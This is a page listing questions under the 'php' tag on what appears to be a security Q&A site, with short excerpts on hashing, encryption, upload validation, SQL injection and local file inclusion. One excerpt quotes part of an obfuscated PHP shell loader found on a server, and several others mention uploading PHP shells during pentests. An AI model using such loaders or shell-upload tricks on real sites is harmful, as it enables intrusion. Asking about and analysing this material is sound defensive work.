Questions tagged [php]

Security aspects concerning code written in the programming language PHP which is often used for web applications.

Filter by
Sorted by
Tagged with
1
vote
1answer
287 views

Possible to decode md5 hash of a malicious URL?

Context: I had a virus on my WordPress website server that injected itself into every functions.php file on the server across two different sites. After removing the heavily obfuscated virus code I ...
-2
votes
1answer
97 views

Prevent unauthorized download of files from a webserver [closed]

So i have a webserver and i would like to have users login and then be able to download an exe file directly from the webserver the issues with this is that users can easily download the file directly ...
1
vote
3answers
377 views

POST requests are bypassing PHP checks

I have a website with a contact form on PHP and a mail server. Email are sent with the help of PHP mail function like so $name = cleanInput($_POST["name"]); $e = $_POST["email"]; $email = filter_var(...
1
vote
1answer
127 views

How did a malicious website managed to serve me the app that is running on my local apache server?

Today I accidentally miss-typed a popular's website domain, which led me to a malicious website. I realized immediately but before I had time to close the tab, I was surprised to be presented with the ...
1
vote
2answers
194 views

PHP Local File Inclusion from URL; no param

The PHP code has a handleRoute($path) function that is triggered for URLs like server.com/routeme/a. Handle route has the follwing: if file_exists($path) then include $path. The $path argument is /...
2
votes
1answer
122 views

Should I hash session IDs before storing the session contents?

I am wondering if it is smart to hash my session IDs before writing sessions to the session storage, in order to prevent session ID disclosure. I am writing an application in PHP on top of the ...
6
votes
2answers
1k views

Crack passwords hashed with PHP?

Is this the right way to crack a password hashed with PHP? I used the password_hash function to hash a password (PHP version 7.3). Then I created a word list using a Python script. It's around 1GB in ...
26
votes
5answers
7k views

How to deal with this fundamental problem with the advice: “Don't trust obscure PHP libraries that nobody uses!”?

Frequently, I'd say in virtually every case, there is only one PHP library for any particular problem. (I don't count obsolete, abandoned, trash ones.) Therefore, it's never a "choice" by me to use ...
0
votes
0answers
998 views

How to encrypt user files securely on the server with PHP

Description: I want to create an upload center for small files (word/excel/zip documents etc) with PHP. I want to protect files uploaded by user as much as possible, so if server is breached, ...
0
votes
2answers
336 views

How is data Encrypted and Decrypted from a database with PHP Sodium

I'm a PHP web developer who has been trying to learn and understand how to encrypt and secure the data stored on a database with PHP Sodium. In terms of security knowledge I am very new to the area ...
2
votes
1answer
110 views

Is this php smarty template statement a security flaw?

$smarty->assign("action", $_SERVER["PHP_SELF"]); PHP_SELF is set client side by the browser so it can be modified by an attacker. Is Smarty "action" assigned to the form action field? So can an ...
0
votes
1answer
200 views

How to validate file content in php?

We have developed an application with contain file upload functionality. We use that application for internal purpose only. We use core php language. We already use the below validations: File ...
4
votes
2answers
3k views

URL parameter manipulation and injection

I have a scenario with 2 sites. Site 1 is mysite.com and Site 2 is secondurl.com. Site 1 is using Wordpress. There, I did a Javascrit/jQuery routine that checks if a given url parameter comes in. If ...
14
votes
5answers
4k views

Should user input be validated for its length in PHP (server side) as a security measure?

It is important to note that this user input will undergo validation and sanitation using regex (on the server side in PHP) and then will be inserted into a database. Later it would be shown to other ...
1
vote
1answer
86 views

Is there any reason why PHP files require write permissions?

Is there any reason why PHP files would require write access? (Excluding directories that need to be writable) I'm installing Magento via composer. They recommend the following permissions: cd /var/...
10
votes
4answers
4k views

Encrypting email addresses in php

I'm building a website and am trying to figure out a way to encrypt the user's email addresses. It would be nice if, in case my database was stolen, the emails of my users weren't in plain text. I ...
3
votes
2answers
720 views

How can I inject real php code into this website?

So I found a file uploader on example.com. The file uploader accepts every file extension and the file is uploaded inside the directory /temp/random-numeric-id.php I tried to upload a php file and ...
1
vote
0answers
93 views

How to implement a “Forgot password?” functionality using php-encryption's KeyProtectedByPassword and 2FA?

I'm currently migrating the encryption functionality used in a PHP project from mcrypt (which was deprecated in PHP 7.1.x and no longer works from PHP 7.2 onward) to openssl, using the defuse/php-...
0
votes
1answer
122 views

How can this sql query be injected?

I've a php code where I get the page number from a GET request and then run a sql query to select records from the database by the page number $maxPerPage = 20; $page = $_GET["p"]; $applicants = DB:...
1
vote
1answer
61 views

How to test email spoofing with this php script? [closed]

I want to harden my SPF setting. However I have trouble testing my SPF setting. I want to be able send a test email to try out my new SPF settings. Most of the resource on internet seems to be use ...
1
vote
2answers
2k views

How to open a shell using LFI or RFI exploits?

I am completing some online labs to do with cybersecurity and I have been given the task of dealing with a virtual machine of kali linux, to access a basic ip for a website called "yellow". we access ...
2
votes
1answer
97 views

Secure GET-based remote API access via PHP

I am programming a way in PHP for my users to be able to access a remote API though my website. I was wondering if any of you had some input on whether or not this was secure (NOT considering any ...
2
votes
1answer
244 views

How exactly works this SQL injection example related to the DVWA application?

I am a software developer converting do application security and I have some doubts about SQL injection example. I am following a tutorial related the famous DVWA: http://www.dvwa.co.uk/ So I have ...
2
votes
2answers
304 views

what should be done to use sodium in a secure way?

Now, I've done some research by googling about the subject and reading the manual and read other topics about this at stackoverflow. But still I have a question about the security and secrecy behind ...
0
votes
1answer
1k views

Backend Authentication of Mobile App: Session ID vs. OAuth

Currently I am developing an iOS/Android app and a corresponding backend in PHP. In the last days I read a lot about user authentication and now I am a bit confused. For now I am using a session ID ...
1
vote
0answers
136 views

Best way to let 2 servers communicate (with PHP) avoiding IP Spoofing?

Let's say I have my ServerB that accept any request and it checks the PHPSESSID and compares the IP saved into the session (thanks to session values) with the IP that made the HTTP request. The IP ...
1
vote
1answer
51 views

Do PHP redirect information disclosure also apply to other languages or framework?

When redirecting using header("Location MyPage.php"); in PHP, any code present after will be executed. So, if you're using this as a way to avoid user accessing pages where they should be logged in, ...
-1
votes
1answer
92 views

What should I do about this unrecognized PHP process?

I'm hoping you might be able to give me some advice. I'm new to linux system administration so go easy on me :) Was doing some checks around the directory that's being served by nginx and noticed ...
3
votes
1answer
81 views

Protect page sms verification from spamming

I'm developing a merchant page where users can pay their bills. On this page, users must fill in their bank details (Card number, card holder name, expiration date, CVC). As a verification, we have a ...
2
votes
1answer
2k views

Server returns 403 when I try SQL injection

I am trying to pentest my friend's site. It is clearly vulnerable to SQL injection attack based on the error messages I get from entering different get parameters. Whenever I try very simple attacks ...
1
vote
0answers
68 views

What's the point of this php shell? [duplicate]

What is the point of this shell code? There is no other code in the file. @preg_match_all("/\t \t(.+)\t\t/Ui",@file_get_contents(__FILE__),$r); $w="";foreach($r[1] as $v){@$w.=@chr(@strlen($v));} $e=...
2
votes
1answer
121 views

Is this schema between a Desktop App and an API secure?

From my previous question: How secure is this schema between a Desktop App (c++) and an API (php). Introduction I made a paid Desktop-app that required constant internet connection (because of its ...
1
vote
1answer
107 views

How secure is this schema between a Desktop App (c++) and an API (php)

as title says I'm writing a paid Desktop App that automates some process, it indirectly requires internet connection because MY app automates another Desktop app that requires internet connection. ...
0
votes
2answers
1k views

Why does php password_hash() generate different hashes for the same input? [duplicate]

I've been using password_hash('password', PASSWORD_DEFAULT) for an internal system, and while I was testing the code, I saw that it generated different hashes for the same input. Why does this ...
4
votes
2answers
157 views

Is storing files under a web server root unsafe if it is handled by PHP and blocked by the web server site configuration file?

Say you have a website which takes file uploads of a certain type and places them in a subdirectory (let's call it "videos") in the web root. I have heard from various sources that trusting uploaded ...
2
votes
1answer
1k views

Is it possible to gain RCE from Arbitrary file write by an unprivileged user?

I am pentesting a PHP website running on Apache in a Ubuntu server. I found a vulnerability that allows me to write files to the target system. I know it's possible to write a php shell to the HTTP ...
0
votes
1answer
126 views

I saw a weird url in my logs, dunno how to proceed [duplicate]

I'm by no means a security expert. I own a very small personal site which I wrote in php mostly for practice and all that. I noticed a weird url call in my logs process.php?d=MV0f+F6R+6Nn/...
1
vote
1answer
351 views

File extensions that should NOT be allowed to be uploaded

I recently built a Downloads Manager that will debut though before I do so I want to know what file extensions I should explicitly disallow from being accepted? Running LAMP/WAMP the most obvious I'...
0
votes
0answers
79 views

How to Stop Cookies from Being Set

We're not using Adminer for database management yet for some reason adminer_sid & adminer_key cookies are being set in the browser - any idea how to stop them from being set? Where would they be ...
1
vote
2answers
222 views

Does it really improve security to update PHP interpreter version without any code changes at all?

Our hosting provider wants to update our legacy application server (Plesk). We usually place older PHP projects (PHP 5.3 - 5.6) there, so they can sit in a stable environment until their unknown EOL. ...
0
votes
2answers
134 views

Unable to execute PHP, throws 500 error. Able to upload and execute all others

I managed to upload a PHP shell using an upload form with some tweaking. No such restrictions except it renames the uploaded file to md5. But when I tried to execute the shell, It shows a 500 error. I ...
4
votes
2answers
607 views

How can nginx run a file with jpg extension as a php file?

I have a follow up question on this answer about executing image files as php. The answer explains that nginx support virtual directories. One can run www.something.com/blan.php/one/two/3 and one/...
1
vote
2answers
311 views

Local file inclusion to RCE

Here is the code: <?php $file=trim($_GET['img_name']); //echo $file; if (file_exists($file)) { header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'...
7
votes
5answers
4k views

Is storing sensitive data in files instead of a database safe?

Say I have a hypothetical PHP application which will store hashed passwords in a file in the same directory. At first, this seems like it would be very insecure, since one could guess at the name of ...
0
votes
0answers
58 views

How can I tell is the hidden PHP code inside of a GIf file is dangerous? [duplicate]

I'm helping out a friend with a PHP website he has been running for a few years. He is not PHP developer, so he asked if I could help him out. I download the contents of the server files onto my ...
5
votes
2answers
1k views

Is directly echoing the user agent in PHP a security hole?

Is this script vulnerable to PHP or JS code injection? In my quick test I changed the useragent to a PHP script but it will not be executed just printed. If change the user agent to a javascript code ...
-4
votes
1answer
166 views

How to prevent other users from accessing PHP source code?

The source code of my website is on a server multiple people can access via FTP. How can I prevent them from accessing the source code? Edit: Ok, so I can't do nothing about that. But, how about if I ...
3
votes
3answers
508 views

Is a Whirlpool hash with random salt secure enough?

I copied the title from another question, but it wasn't answered there and my case is a bit different. I have inherited an old website to maintain. I noticed that the password hashing is not up to ...
1
vote
1answer
234 views

Trying to figure out if I was hit by an obscure exploit attempt of some kind

I just had a random occurrence when I went to one of my hosted websites, and saw the page was broken. We host several domains at this IP, but one domain is actually in the server's webroot directory, ...
2
votes
1answer
361 views

Just another suspiciously looking php script [duplicate]

My hosting blocked my website because malware, they say. I dived into the (shared) server via ssh and found a file that looks suspicious. This file was in an old, not working installation of wordpress ...

1 2
3
4 5
31